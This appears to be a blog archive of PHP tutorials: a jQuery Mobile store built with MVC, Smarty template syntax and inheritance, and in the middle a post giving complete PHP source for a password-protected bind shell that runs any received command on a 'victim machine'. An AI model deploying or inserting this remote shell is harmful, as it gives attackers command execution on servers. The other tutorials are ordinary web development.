Building a Website with PHP, MySQL and jQuery Mobile, Part 2

This is the second part of a two-part tutorial, in which we use PHP, MySQL and jQuery mobile to build a simple computer web store. In the previous part we created the models and the controllers, and this time we will be writing our views.

jQuery mobile

First, lets say a few words about the library we will be using. jQuery mobile is a user interface library that sits on top of jQuery and provides support for a wide array of devices in the form of ready to use widgets and a touch-friendly development environment. It is still in beta, but upgrading to the official 1.0 release will be as simple as swapping a CDN URL.

The library is built around progressive enhancement. You, as the developer, only need to concern yourself with outputting the correct HTML, and the library will take care of the rest. jQuery mobile makes use of the HTML5 data- attributes and by adding them, you instruct the library how it should render your markup.

In this tutorial we will be using some of the interface components that this library gives us – listsheaderand footer bars and buttons, all of which are defined using the data-role attributes, which you will see in use in the next section.

Rendering Views

The views are PHP files, or templates, that generate HTML code. They are printed by the controllers using the render() helper function. We have 7 views in use for this website – _category.php_product.php,_header.php_footer.phpcategory.phphome.php and error.php, which are discussed later on. First, here is render() function:

includes/helpers.php

01 /* These are helper functions */
02
03 function render($template,$vars array()){
04
05     // This function takes the name of a template and
06     // a list of variables, and renders it.
07
08     // This will create variables from the array:
09     extract($vars);
10
11     // It can also take an array of objects
12     // instead of a template name.
13     if(is_array($template)){
14
15         // If an array was passed, it will loop
16         // through it, and include a partial view
17         foreach($template as $k){
18
19             // This will create a local variable
20             // with the name of the object's class
21
22             $cl strtolower(get_class($k));
23             $$cl $k;
24
25             include "views/_$cl.php";
26         }
27
28     }
29     else {
30         include "views/$template.php";
31     }
32 }

The first argument of this function is the name of the template file in the views/ folder (without the .phpextension). The next is an array with arguments. These are extracted and form real variables which you can use in your template.

There is one more way this function can be called – instead of a template name, you can pass an array with objects. If you recall from last time, this is what is returned by using the find() method. So basically if you pass the result of Category::find() to render, the function will loop through the array, get the class names of the objects inside it, and automatically include the _category.php template for each one. Some frameworks (Rails for example) call these partials.

Computer Store with PHP, MySQL and jQuery Mobile

Computer Store with PHP, MySQL and jQuery Mobile

The Views

Lets start off with the first view – the header. You can see that this template is simply the top part of a regular HTML5 page with interleaved PHP code. This view is used in home.php and category.php to promote code reuse.

includes/views/_header.php

01 <!DOCTYPE html>
02 <html>
03     <head>
04     <title><?php echo formatTitle($title)?></title>
05
06     <meta name="viewport" content="width=device-width, initial-scale=1" />
07
08     <link rel="stylesheet" href="http://code.jquery.com/mobile/1.0b2/jquery.mobile-1.0b2.min.css" />
09     <link rel="stylesheet" href="assets/css/styles.css" />
10     <script type="text/javascript" src="http://code.jquery.com/jquery-1.6.2.min.js"></script>
11     <script type="text/javascript" src="http://code.jquery.com/mobile/1.0b2/jquery.mobile-1.0b2.min.js"></script>
12 </head>
13 <body>
14
15 <div data-role="page">
16
17     <div data-role="header" data-theme="b">
18         <a href="./" data-icon="home" data-iconpos="notext" data-transition="fade">Home</a>
19         <h1><?php echo $title?></h1>
20     </div>
21
22     <div data-role="content">

In the head section we include jQuery and jQuery mobile from jQuery’s CDN, and two stylesheets. The body section is where it gets interesting. We define a div with the data-role=”page” attribute. This, along with the data-role=”content” div, are the two elements required by the library to be present on every page.

The data-role=”header” div is transformed into a header bar. The data-theme attribute chooses one of the 5 standard themes. Inside it, we have a link that is assigned a home icon, and has its text hidden. jQuery Mobile comes with a set of icons you can choose from.

The closing tags (and the footer bar) reside in the _footer.php view:

includes/views/_footer.php

1     </div>
2
3     <div data-role="footer" id="pageFooter">
4         <h4><?php echo $GLOBALS['defaultFooter']?></h4>
5     </div>
6 </div>
7
8 </body>
9 </html>

Nothing too fancy here. We only have a div with the data-role=”footer” attribute, and inside it we print the globally accessible $defaultFooter variable, defined in includes/config.php.

Neither of the above views are printed directly by our controllers. They are instead used bycategory.php and home.php:

includes/views/home.php

01 <?php render('_header',array('title'=>$title))?>
02
03 <p>Welcome! This is a demo for a ...</p>
04 <p>Remember to try browsing this ...</p>
05
06 <ul data-role="listview" data-inset="true" data-theme="c" data-dividertheme="b">
07     <li data-role="list-divider">Choose a product category</li>
08     <?php render($content) ?>
09 </ul>
10
11 <?php render('_footer')?>

If you may recall, the home view was rendered in the home controller. There we passed an array with all the categories, which is available here as $content. So what this view does, is to print the header, and footer, define a jQuery mobile listview (using the data-role attribute), and generate the markup of the categories passed by the controller, using this template (used implicitly by render()):

index.php/views/_category.php

1 <li <?php echo ($active == $category->id ? 'data-theme="a"' '') ?>>
2 <a href="?category=<?php echo $category->id?>" data-transition="fade">
3     <?php echo $category->name ?>
4     <span class="ui-li-count"><?php echo $category->contains?></span></a>
5 </li>

Notice that we have a $category PHP variable that points to the actual object this view is being generated for. This is done in lines 24/25 of the render function. When the user clicks one of the links generated by the above fragment, he will be taken to the /?category=someid url, which will show thecategory.php view, given below.

01 <?php render('_header',array('title'=>$title))?>
02
03 <div class="rightColumn">
04     <ul data-role="listview" data-inset="true" data-theme="c" data-dividertheme="c">
05         <?php render($products) ?>
06     </ul>
07 </div>
08
09 <div class="leftColumn">
10     <ul data-role="listview" data-inset="true" data-theme="c" data-dividertheme="b">
11         <li data-role="list-divider">Categories</li>
12         <?php render($categories,array('active'=>$_GET['category'])) ?>
13     </ul>
14 </div>
15
16 <?php render('_footer')?>

This file also uses the header, footer and _category views, but it also presents a column with products (passed by the category controller). The products are rendered using the _product.php partial:

1 <li class="product">
2     <img src="assets/img/<?php echo $product->id ?>.jpg" alt="<?php echo $product->name ?>" />
3     <?php echo $product->name ?> <i><?php echo $product->manufacturer?></i>
4     <b>$<?php echo $product->price?></b>
5 </li>

As we have an image as the first child of the li elements, it is automatically displayed as an 80px thumbnail by jQuery mobile.

One of the advantages to using the interface components defined in the library is that they are automatically scaled to the width of the device. But what about the columns we defined above? We will need to style them ourselves with some CSS3 magic:

assets/css/styles.css

01 media all and (min-width650px){
02
03     .rightColumn{
04         width:56%;
05         float:right;
06         margin-left:4%;
07     }
08
09     .leftColumn{
10         width:40%;
11         float:left;
12     }
13
14 }
15
16 .product i{
17     display:block;
18     font-size:0.8em;
19     font-weight:normal;
20     font-style:normal;
21 }
22
23 .product img{
24     margin:10px;
25 }
26
27 .product b{
28     positionabsolute;
29     right15px;
30     top15px;
31     font-size0.9em;
32 }
33
34 .product{
35     height80px;
36 }

Using a media query, we tell the browser that if the view area is wider than 650px, it should display the columns side by side. If it is not (or if the browser does not support media queries) they will be displayed one on top of the other, the regular “block” behavior.

Reference : http://tutorialzine.com/2011/08/jquery-mobile-mvc-website-part-2/

Advertisements

Building a Website with PHP, MySQL and jQuery Mobile, Part 1

In this two-part tutorial, we will be building a simple website with PHP and MySQL, using the Model-View-Controller (MVC) pattern. Finally, with the help of the jQuery Mobile framework, we will turn it into a touch-friendly mobile website, that works on any device and screen size.

In this first part, we concentrate on the backend, discussing the database and MVC organization. In part two, we are writing the views and integrating jQuery Mobile.

The File Structure

As we will be implementing the MVC pattern (in effect writing a simple micro-framework), it is natural to split our site structure into different folders for the models, views and controllers. Don’t let the number of files scare you – although we are using a lot of files, the code is concise and easy to follow.

The Directory Structure

The Directory Structure

The Database Schema

Our simple application operates with two types of resources – categories and products. These are given their own tables – jqm_categories, and jqm_products. Each product has a category field, which assigns it to a category.

jqm_categories Table Structure

jqm_categories Table Structure

The categories table has an ID field, a name and a contains column, which shows how many products there are in each category.


jqm_products Table Structure

jqm_products Table Structure

The product table has a namemanufacturerprice and a category field. The latter holds the ID of the category the product is added to.

You can find the SQL code to create these tables in tables.sql in the download archive. Execute it in the SQL tab of phpMyAdmin to have a working copy of this database. Remember to also fill in your MySQL login details in config.php.

The Models

The models in our application will handle the communication with the database. We have two types of resources in our application – products and categories. The models will expose an easy to use method – find() which will query the database behind the scenes and return an array with objects.

Before starting work on the models, we will need to establish a database connection. I am using the PHP PDO class, which means that it would be easy to use a different database than MySQL, if you need to.

includes/connect.php

01
02     This file creates a new MySQL connection using the PDO class.
03     The login details are taken from includes/config.php.
04 */
05
06 try {
07     $db new PDO(
08         "mysql:host=$db_host;dbname=$db_name;charset=UTF-8",
09         $db_user,
10         $db_pass
11     );
12
13     $db->query("SET NAMES 'utf8'");
14     $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
15 }
16 catch(PDOException $e) {
17     error_log($e->getMessage());
18     die("A database error was encountered");
19 }

This will put the $db connection object in the global scope, which we will use in our models. You can see them below.

includes/models/category.model.php

01 class Category{
02
03     /*
04         The find static method selects categories
05         from the database and returns them as
06         an array of Category objects.
07     */
08
09     public static function find($arr array()){
10         global $db;
11
12         if(empty($arr)){
13             $st $db->prepare("SELECT * FROM jqm_categories");
14         }
15         else if($arr['id']){
16             $st $db->prepare("SELECT * FROM jqm_categories WHERE id=:id");
17         }
18         else{
19             throw new Exception("Unsupported property!");
20         }
21
22                 // This will execute the query, binding the $arr values as query parameters
23         $st->execute($arr);
24
25         // Returns an array of Category objects:
26         return $st->fetchAll(PDO::FETCH_CLASS, "Category");
27     }
28 }

Both models are simple class definitions with a single static method – find(). In the fragment above, this method takes an optional array as a parameter and executes different queries as prepared statements.

In the return declaration, we are using the fetchAll method passing it the PDO::FETCH_CLASS constant. What this does, is to loop though all the result rows, and create a new object of the Category class. The columns of each row will be added as public properties to the object.

This is also the case with the Product model:

includes/models/product.model.php

01 class Product{
02
03     // The find static method returns an array
04     // with Product objects from the database.
05
06     public static function find($arr){
07         global $db;
08
09         if($arr['id']){
10             $st $db->prepare("SELECT * FROM jqm_products WHERE id=:id");
11         }
12         else if($arr['category']){
13             $st $db->prepare("SELECT * FROM jqm_products WHERE category = :category");
14         }
15         else{
16             throw new Exception("Unsupported property!");
17         }
18
19         $st->execute($arr);
20
21         return $st->fetchAll(PDO::FETCH_CLASS, "Product");
22     }
23 }

The return values of both find methods are arrays with instances of the class. We could possibly return an array of generic objects (or an array of arrays) in the find method, but creating specific instances will allow us to automatically style each object using the appropriate template in the views folder (the ones that start with an underscore). We will talk again about this in the next part of the tutorial.

There, now that we have our two models, lets move on with the controllers.

Computer Store with PHP, MySQL and jQuery Mobile

Computer Store with PHP, MySQL and jQuery Mobile

The controllers

The controllers use the find() methods of the models to fetch data, and render the appropriate views. We have two controllers in our application – one for the home page, and another one for the category pages.

includes/controllers/home.controller.php

01 /* This controller renders the home page */
02
03 class HomeController{
04     public function handleRequest(){
05
06         // Select all the categories:
07         $content = Category::find();
08
09         render('home',array(
10             'title'     => 'Welcome to our computer store',
11             'content'   => $content
12         ));
13     }
14 }

Each controller defines a handleRequest() method. This method is called when a specific URL is visited. We will return to this in a second, when we discuss index.php.

In the case with the HomeControllerhandleRequest() just selects all the categories using the model’s find() method, and renders the home view (includes/views/home.php) using our render helper function (includes/helpers.php), passing a title and the selected categories. Things are a bit more complex inCategoryController:

includes/controllers/category.controller.php

01 /* This controller renders the category pages */
02
03 class CategoryController{
04     public function handleRequest(){
05         $cat = Category::find(array('id'=>$_GET['category']));
06
07         if(empty($cat)){
08             throw new Exception("There is no such category!");
09         }
10
11         // Fetch all the categories:
12         $categories = Category::find();
13
14         // Fetch all the products in this category:
15         $products = Product::find(array('category'=>$_GET['category']));
16
17         // $categories and $products are both arrays with objects
18
19         render('category',array(
20             'title'         => 'Browsing '.$cat[0]->name,
21             'categories'    => $categories,
22             'products'      => $products
23         ));
24     }
25 }

The first thing this controller does, is to select the category by id (it is passed as part of the URL). If everything goes to plan, it fetches a list of categories, and a list of products associated with the current one. Finally, the category view is rendered.

Now lets see how all of these work together, by inspecting index.php:

index.php

01 /*
02     This is the index file of our simple website.
03     It routes requests to the appropriate controllers
04 */
05
06 require_once "includes/main.php";
07
08 try {
09
10     if($_GET['category']){
11         $c new CategoryController();
12     }
13     else if(empty($_GET)){
14         $c new HomeController();
15     }
16     else throw new Exception('Wrong page!');
17
18     $c->handleRequest();
19 }
20 catch(Exception $e) {
21     // Display the error page using the "render()" helper function:
22     render('error',array('message'=>$e->getMessage()));
23 }

This is the first file that is called on a new request. Depending on the $_GET parameters, it creates a new controller object and executes its handleRequest() method. If something goes wrong anywhere in the application, an exception will be generated which will find its way to the catch clause, and then in the error template.

One more thing that is worth noting, is the very first line of this file, where we require main.php. You can see it below:

main.php

01 /*
02     This is the main include file.
03     It is only used in index.php and keeps it much cleaner.
04 */
05
06 require_once "includes/config.php";
07 require_once "includes/connect.php";
08 require_once "includes/helpers.php";
09 require_once "includes/models/product.model.php";
10 require_once "includes/models/category.model.php";
11 require_once "includes/controllers/home.controller.php";
12 require_once "includes/controllers/category.controller.php";
13
14 // This will allow the browser to cache the pages of the store.
15
16 header('Cache-Control: max-age=3600, public');
17 header('Pragma: cache');
18 header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
19 header("Expires: ".gmdate("D, d M Y H:i:s",time()+3600)." GMT");

This file holds the require_once declarations for all the models, controllers and helper files. It also defines a few headers to enable caching in the browser (PHP disables caching by default), which speeds up the performance of the jQuery mobile framework.

Continue to Part 2

With this the first part of the tutorial is complete! Continue to part 2, where we will be writing the views and incorporate jQuery Mobile. Feel free to share your thoughts and suggestions in the comment section below.

Reference : http://tutorialzine.com/2011/08/jquery-mobile-product-website/

Bind Shell in PHP – With Authentication Feature

Bind Shell as the name suggests is a piece of code , which is used to host a shell on a server or a victim machine ! Its basically used to control the host machine remotely!

In this tutorial we’ll be making a Bind Shell in PHP with a authentication feature for extra protection.

The Code

Code: php
<?php

/*********************

@@author : lionaneesh
@@facebook : facebook.com/lionaneesh
@@Email : lionaneesh@gmail.com

********************/

?>

<html>
<head>
<title>Bind Shell — PHP</title>
</head>

<body>

<h1>Welcome to Bind Shell Control Panel </h1>

<p> Fill in the form Below to Start the Bind Shell Service </p>

<?php
if( isset($_GET[‘port’]) &&
isset($_GET[‘passwd’]) &&
$_GET[‘port’] != “” &&
$_GET[‘passwd’] != “”
)
{
$address = ‘127.0.0.1’; // As its a bind shell it will always host on the local machine

// Set the ip and port we will listen on

$port = $_GET[‘port’];
$pass = $_GET[‘passwd’];
// Set time limit to indefinite execution
set_time_limit (0);

if(function_exists(“socket_create”))
{
// Create a TCP Stream socket
$sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// Bind the socket to an address/port

if(socket_bind($sockfd, $address, $port) == FALSE)
{
echo “Cant Bind to the specified port and address!”;
}
// Start listening for connections
socket_listen($sockfd,15);

$passwordPrompt =
“\n=================================================================\n
PHP Bind Shell\n
\n
@@author : lionaneesh\n
@@facebook : facebook.com/lionaneesh\n
@@Email : lionaneesh@gmail.com\n
\n
=================================================================\n\n

Please Enter Password : “;

/* Accept incoming requests and handle them as child processes */
$client = socket_accept($sockfd);

socket_write($client , $passwordPrompt);

// Read the pass from the client

$input = socket_read($client, strlen($pass) + 2); // +2 for \r\n
if(trim($input) == $pass)
{
socket_write($client , “\n\n”);
socket_write($client , shell_exec(“date /t & time /t”)  . “\n” . shell_exec(“ver”) . shell_exec(“date”) . “\n” . shell_exec(“uname -a”));
socket_write($client , “\n\n”);
while(1)
{
// Print Command prompt
$commandPrompt =”(Bind-Shell)[$]> “;
$maxCmdLen = 31337;
socket_write($client,$commandPrompt);
$cmd = socket_read($client,$maxCmdLen);
if($cmd == FALSE)
{
echo “The client Closed the conection!”;
break;
}
socket_write($client , shell_exec($cmd));
}
}
else
{
echo “Wrong Password!”;
socket_write($client, “Wrong Password , Please try again \n\n”);
}
socket_shutdown($client, 2);
socket_close($socket);
}
else
{
echo “Socket Conections not Allowed/Supported by the server! <br />”;
}
}
else
{
?>
<table align=”center” >
<form method=”GET”>
<td>
<table style=”border-spacing: 6px;”>
<tr>
<td>Port</td>
<td>
<input style=”width: 200px;” name=”port” value=”31337″ />
</td>
</tr>
<tr>
<td>Passwd </td>
<td><input style=”width: 100px;” name=”passwd” size=’5′ value=”lionaneesh”/>
</tr>
<tr>
<td>
<input style=”width: 90px;” class=”own” type=”submit” value=”Bind :D!”/>
</td>
</tr>

</table>
</td>
</form>
</tr>
</table>
<p align=”center” style=”color: red;” >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
<?php
}
?>

 

Using

The Bind Shell is implemented to be simple to understand and easy to use! The Introduction page is quite self explanatory and will tell you everything you need to know!

Here is a Screen Shot of its working :-

Enjoy !!!

Reference : http://www.go4expert.com/forums/showthread.php?t=26855

Create a REST API with PHP

One of the latest (sort of) crazes sweeping the net is APIs, more specifically those that leverage REST. It’s really no surprise either, as consuming REST APIs is so incredibly easy… in any language. It’s also incredibly easy to create them as you essentially use nothing more than an HTTP spec that has existed for ages. One of the few things that I give Rails credit for is its well thought-out REST support, both for providing and consuming these APIs (as its been explained by all the Rails fanboys I work with).

Seriously, if you’ve never used REST, but you’ve ever had to work with (or worse, create) a SOAP API, or simply opened a WSDL and had your head explode, boy do I have good news for you!

 

Continue reading

30+ PHP Best Practices for Beginners

PHP is the most widely-used language for programming on the web. Here are thirty best practices for beginners wanting to gain a firmer grasp of the fundamentals.

Editor’s Note: The “Best Practices” series has been my baby for three articles now. However, due to my focus on the CI video series, I’ve decided to hand off this next entry to Glen. Having said that, I’m not very good at keeping my mouth shut! I thought it might be fun to sporadically add a few rebuttals to his tips. I hope he doesn’t mind!

 

Continue reading

PHP Template with Smarty(.tpl)

Why would I use Smarty (when PHP is a template engine)?

Some might argue that Smarty does what PHP can do already: separate the presentation from business logic. The PHP programming language is great for code development but when mixed with HTML, the syntax of PHP statements can be a mess to manage. Smarty makes up for this by insulating PHP from the presentation with a much simpler tag-based syntax. The tags reveal application content, enforcing a clean separation from PHP (application) code. No PHP knowledge is required to manage Smarty templates.

The importance of this separation is situational. It is commonly more important to web designers than it is to PHP developers. Therefore, Smarty is commonly a good fit when the roles of developers and designers are separated. There is no right or wrong answer: every development team has their own preferences for managing code and templates. Aside from a clean tag-based syntax, Smarty also offers a wide variety of tools to manage presentation: granular data caching, template inheritance and functional sandboxing to name a few. Business requirements and the PHP code Smarty is being used with will play a large role in determining if Smarty is a good fit.

In cases where efficient template management is crucial, or the case where web designers (not PHP developers) are managing templates, the strengths of the tag-based template syntax are quickly realized. If the project size scales to hundreds or thousands of templates, template inheritance keeps template maintenance streamlined. What little Smarty adds technically (a tag-based syntax + 1-time compile step) is easily overcome by the time saved with template maintenance.

Smarty is clearly not meant for every project. It is just one solution for managing the presentation of your PHP applications. Your business requirements along with your development team preferences will largely decide of Smarty is a good fit. Be sure to read All about Smarty, Use Cases and Work Flow, Template Inheritance and Syntax Comparison. And of course, install Smarty and give it a try.

Template Syntax: Smarty vs PHP

The PHP programming language is great for code development, but many will argue that embedding its terse statement syntax into HTML can be difficult to manage. Smarty makes up for this by insulating PHP from the presentation with a much simpler tag-based syntax. The tags reveal application content within the presentation in a clean, intuitive manner. No PHP knowledge is required to manage Smarty templates.

To demonstrate, let’s compare PHP and Smarty syntax. We’ll start with a simple variable, using PHP’s short-tag syntax.
PHP

<?=$foo?>

Smarty

 {$foo}

Note that the PHP syntax uses 5 punctuation characters to display a simple variable: <?=?>, whereas Smarty uses 2: {}. (We ignore the $ since it is always present in both syntaxes.) Now lets compare array access:
PHP

<?=$foo['bar']?>

Smarty

{$foo.bar}

PHP uses 9 punctuation chars, and Smarty uses 3. Even with this simple example, you can begin to see how the syntax noise is greatly reduced by Smarty. Moving on, let’s try a foreach loop:
PHP

<?php foreach($foo as $bar): ?>
 ...
 <?php endforeach; ?>

Smarty

{foreach $foo as $bar}
 ...
{/foreach}

PHP uses 18 punctuation chars, and Smarty uses only 5. Now let’s try some real-world use, mixing things with HTML tags:
PHP

<?php if(!empty($foo)): ?>
 <?php foreach($foo as $bar): ?>
 <a href="<?=$bar['zig']?>"><?=$bar['zag']?></a>
 <a href="<?=$bar['zig2']?>"><?=$bar['zag2']?></a>
 <a href="<?=$bar['zig3']?>"><?=$bar['zag3']?></a>
 <?php endforeach; ?>
<?php else: ?>

There were no rows found.

<?php endif; ?>
 Smarty
 {foreach $foo as $bar}
 <a href="{$bar.zig}">{$bar.zag}</a>
 <a href="{$bar.zig2}">{$bar.zag2}</a>
 <a href="{$bar.zig3}">{$bar.zag3}</a>
{foreachelse}</pre>
 There were no rows found.
{/foreach}

In the short example above, Smarty saved 110 characters, or a 36% syntax reduction. Also notice that Smarty takes care of boilerplate functions wherever it can, such as the empty() test in the above example. Smarty cleans up the syntax of templates, making them less fragile.
PHP short-tags

Notice we have been using the PHP short-tag syntax <?=$foo?> for variable output. This is used in PHP as as shortcut to the longer syntax of <?php echo $foo; ?>. This helps shorten things up bit, but you still don’t gain much in readability. Many PHP devs will tell you to avoid short-tags anyways, as this defeats cross-system compatible code since short-tags are optional. Lets compare the long syntax to a Smarty variable:
PHP

<?php echo $foo; ?>

Smarty

{$foo}

Even with this short example, you can see a 13 character savings (69% shorter) to display the same thing. Now let’s see this mixed in with some HTML:
PHP

 <a href="<?php echo $bar['zig']; ?>"><?php echo $bar['zag']; ?></a>
 <a href="<?php echo $bar['zig2']; ?>"><?php echo $bar['zag2']; ?></a>
<a href="<?php echo $bar['zig3']; ?>"><?php echo $bar['zag3']; ?></a>

Smarty

 <a href="{$bar.zig}">{$bar.zag}</a>
 <a href="{$bar.zig2}">{$bar.zag2}</a>
<a href="{$bar.zig3}">{$bar.zag3}</a>

Delimiter Confusion

Another issue with PHP tags is that they share the <> characters of HTML tags. In the application code this isn’t an issue, but mixed with HTML, <?php ?> tags are a maddening process to tell them apart from the HTML tags. This also blurs the line between application and presentation separation since any PHP logic can be injected into a template. This is where a simple {tag} syntax is a huge welcome. Smarty keeps the presentation short and concise, well-defined, less error prone and easy to maintain.
Simplified Logic

Smarty features simplified, english-reading logic statements. The following example displays the odd numbers of 1-20 (1,3,5,7,…):

PHP

 <?php for($x=0; $x<20; $x+=2): ?>
 <php echo $x+1; ?>
<?php endfor; ?>

Smarty

 {for $x = 1 to 20 step 2}
 {$x}
{/for}

Which is easier to understand? How about for the non-developer types?

The following example loops over the $foo array and prints the value in a table cell. Every 4th row it prints </tr><tr> to start a new table row:
PHP

 <?php $counter=0; ?>
 <?php foreach($foo as $bar): ?>
 <?php if(($counter+1) % 4 == 0): ?>
 </tr><tr>
 <?php endif; ?>
 <td><?php echo $bar; ?></td>
 <?php $counter++; ?>
<?php endforeach; ?>

Smarty

 {foreach $foo as $bar}
 {if $bar@iteration is div by 4}
 </tr><tr>
 {/if}
 <td>{$bar}</td>
{/foreach}

The next example lower-cases and html-escapes a variable:
PHP

<?php echo htmlspecialchars(strtolower($foo),ENT_QUOTES,'UTF-8'); ?>

Smarty (notice the natural left-to-right statement flow):
Smarty

{$foo|lower|escape}

lower and escape are two of many built-in plugins that come with Smarty. They contain powerful features aimed specifically at presentational output. Do you want to javascript-escape the variable instead? One simple parameter:
Smarty

{$foo|lower|escape:javascript}

Which of the above do you think a designer would rather follow? Short, concise syntax is key to fast deployment and easy maintenance.

These are just a few examples of how Smarty saves you time managing templates, insulates templates from PHP code, and makes template maintenance easy, even for the completely inexperienced user. See also All about Smarty, Use Cases and Work Flow, Template Inheritance and Why use Smarty.

Template Inheritance

Template inheritance is an approach to managing templates that resembles object-oriented programming techniques. Instead of the traditional use of {include …} tags to manage parts of templates, you can inherit the contents of one template to another (like extending a class) and change blocks of content therein (like overriding methods of a class.) This keeps template management minimal and efficient, since each template only contains the differences from the template it extends.
A Use Case Demonstration

The challenge: Let’s say we are creating an HTML page, and it requires some custom Javascript/CSS files loaded within the <head></head> of the document. The problem is that this is defined in the header.tpl, which was included further up the page. There are many ways to address this, but they can get quite messy. Let’s make this task an easy one, with Template Inheritance, new to Smarty 3.

Before template inheritance, we were stuck with using {include …} tags to share content such as headers and footers. Here is an example:
Example Without Inheritance

 header.tpl
 <html>
 <head>
 <title>{$title|default:"Default Page Title"}</title>
 </head>
 <body>
 footer.tpl
 </body>
 </html>
 mypage.tpl
 {include file="header.tpl" title="My Page Title"}
 My HTML Page Body goes here
 {include file="footer.tpl"}
 output of mypage.tpl
 <html>
 <head>
 <title>My Page Title</title>
 </head>
 <body>
 My HTML Page Body goes here
 </body>
 </html>

Now let’s rewrite this with template inheritance:
Example With Inheritance

 layout.tpl
 <html>
 <head>
 <title>{block name=title}Default Page Title{/block}</title>
 </head>
 <body>
 {block name=body}{/block}
 </body>
 </html>
 mypage.tpl
 {extends file="layout.tpl"}
 {block name=title}My Page Title{/block}
 {block name=body}My HTML Page Body goes here{/block}
 output of mypage.tpl
 <html>
 <head>
 <title>My Page Title</title>
 </head>
 <body>
 My HTML Page Body goes here
 </body>
 </html>

Instead of managing our page layout in several files (header.tpl, footer.tpl, etc.), we now manage it in one cohesive template (layout.tpl), and define the changeable blocks of content with {block …} tags. Now you can simply extend the layout.tpl (which basically copies it) and then customize any of the defined block elements. You can have any number of child templates chained together, thus the concept of inheritance.

So back to our initial challenge, how do we address the need to have custom Javascripts/CSS loaded in the header? Simply add a new block to the layout.tpl, and customize it in the child template:

 layout.tpl
 <html>
 <head>
 <title>{block name=title}Default Page Title{/block}</title>
 {block name=head}{/block}
 </head>
 <body>
 {block name=body}{/block}
 </body>
 </html>
 mypage.tpl
 {extends file="layout.tpl"}
 {block name=title}My Page Title{/block}
 {block name=head}
 <link href="/css/mypage.css" rel="stylesheet" type="text/css"/>
 <script src="/js/mypage.js"></script>
 {/block}
 {block name=body}My HTML Page Body goes here{/block}
 output of mypage.tpl
 <html>
 <head>
 <title>My Page Title</title>
 <link href="/css/mypage.css" rel="stylesheet" type="text/css"/>
 <script src="/js/mypage.js"></script>
 </head>
 <body>
 My HTML Page Body goes here
 </body>
 </html>

As you can see, we can now easily customize header content from the child template. This is the basics of template inheritance. It cleans up template management, and makes tough problems trivial!

Best Practices

Although Smarty helps facilitate the separation of business logic (PHP) from presentation, that does not mean it prevents poor implementation. No different than any other software, Smarty has a learning curve. Smarty does not guarantee good application design or proper separation of presentation, this still needs to be addressed by a competent developer and web designer. We’ll cover some of the more common pitfalls and how to avoid them.

Note: With Smarty we typically refer to the PHP developer and the template designer as separate roles. Although this could be the same person in real life, it is good to think of them as separate roles so you can clearly understand what belongs in PHP and what belongs in templates.

Now lets get to the first problem: embedding PHP in templates.
1. Do not imbed PHP!

This is by far the biggest mistake with Smarty templates. When Smarty was first developed, the {php} tag was provided as a sort of “last resort” way of solving a problem. Experience has revealed that directly embedding PHP is not only unnecessary, it creates more problems than it solves. The {php} tag is strongly discouraged, and is now deprecated in Smarty 3.

Despite the discouragement, lazy developers continue to fall on the {php} crutch, as this may seem (at first glance) to be the quickest path to implementation. However, this approach just leads to more problems. The correct approach is to implement a plugin and do the PHP logic outside of the template.

First lets look at how not to use Smarty.
Example problem: solved the wrong way

Let’s say we have this existing PHP function that grabs the current weather forecast and displays it in an HTML table.
PHP

 function get_forecast($zipcode) {
 // some weather class we use to do the fetching
 include_once('weather.php');
 // get the forecast from the weather station
 $forecast = Weather::forecast($zipcode);
 // now mark up and return
 $output = "<table>";
 $output .= "<tr><td>Temp:</td><td>".$forecast['temp']."</td></tr>";
 $output .="</table>";
 return $output;
 }

So now our esteemed PHP developer wants to implement this in a Smarty template. Easy, right? We just throw it in with {php} tags:
Smarty

{php}echo get_forecast($zipcode);{/php}

So we basically “escape” the template for a moment into PHP code and run the function. Uh oh, we have a problem. Our $zipcode variable is a template variable, and it won’t “just work” in a {php} block. So we have to get that from the Smarty object. Have no fear, with a little more code we can access that:
Smarty

{php}echo get_forecast($this->getTemplateVars('zipcode'));{/php}

Oops, we have another problem. Our PHP function get_forecast() is not available. We must first include this file. Let’s say we have a PHP constant MY_APP defined and we know the filepath relative to that. So we’ll throw in an include() statement to include the file:
Smarty

 {php}include(dirname(MY_APP).DIRECTORY_SEPARATOR.'forecast.php');
 echo get_forecast($this->getTemplateVars('zipcode'));{/php}

Although this technically works, we just did exactly what Smarty was intended to avoid: We now have a syntactical mess, and we have business logic in our template (PHP constructs and logic that have nothing to do with the presentation.)

Let’s say the template designer looks at the output and decides that we don’t want the weather in an HTML table. Instead, we want a <div> container with some stylesheet markup. So the designer heads off to the template to change it. Finding this in the template is not a welcome sight. Since there is no way to manage the markup from the template, the designer needs to either inform the PHP developer what to change, or locate and change the PHP code themselves (oops, there goes the separation.) This is probably not the best implementation.
Example problem: solved the right way

Now let’s solve the same problem by making a simple template plugin. By implementing a plugin we will keep business logic out of the template, and move all presentational elements into the template, establishing the correct separation. We can either create a new plugin file in the Smarty plugins directory, or we can make a PHP function (or class method) somewhere in our application code and register it with Smarty manually. Let’s go with the plugin file method. Here is what our plugin file will look like:
PHP

 <?php
 /*
 * Smarty plugin
 * -------------------------------------------------------------
 * File:     function.get_forecast.php
 * Type:     function
 * Name:     get_forecast
 * Purpose:  gets the weather forecast
 * -------------------------------------------------------------
 */
 function smarty_function_get_forecast($params, $smarty)
 {
 // some weather class we use to do the fetching
 include_once('weather.php');
 // get the forecast from the weather station
 $forecast = Weather::forecast($params['zipcode']);
 // now mark up and return
 $output = "<table>";
 $output .= "<tr><td>Temp:</td><td>".$forecast['temp']."</td></tr>";
 $output .="</table>";
 return $output;
 }
 ?>

And now let’s implement this in our template:
Smarty

{get_forecast zipcode=$zipcode}

Now this looks a whole lot better. The template now contains something very easy to understand. We are not quite finished: remember that we want to be able to handle the presentation on the template side, so we need to move the markup into the template. This will also simplify our plugin logic, as it no longer has to deal with presentation (as it should be.) Let’s make those changes:
PHP

 <?php
 /*
 * Smarty plugin
 * -------------------------------------------------------------
 * File:     function.get_forecast.php
 * Type:     function
 * Name:     get_forecast
 * Purpose:  gets the weather forecast
 * -------------------------------------------------------------
 */
 function smarty_function_get_forecast($params, $smarty)
 {
 include_once('weather.php');
 // get the forecast from the weather station
 $forecast = Weather::forecast($params['zipcode']);
 // assign forecast data directly to given template var
 $smarty->assign($params['assign'],$forecast);
 }
 ?>

And in the template:
Smarty

 {get_forecast zipcode=$zipcode assign="forecast"}
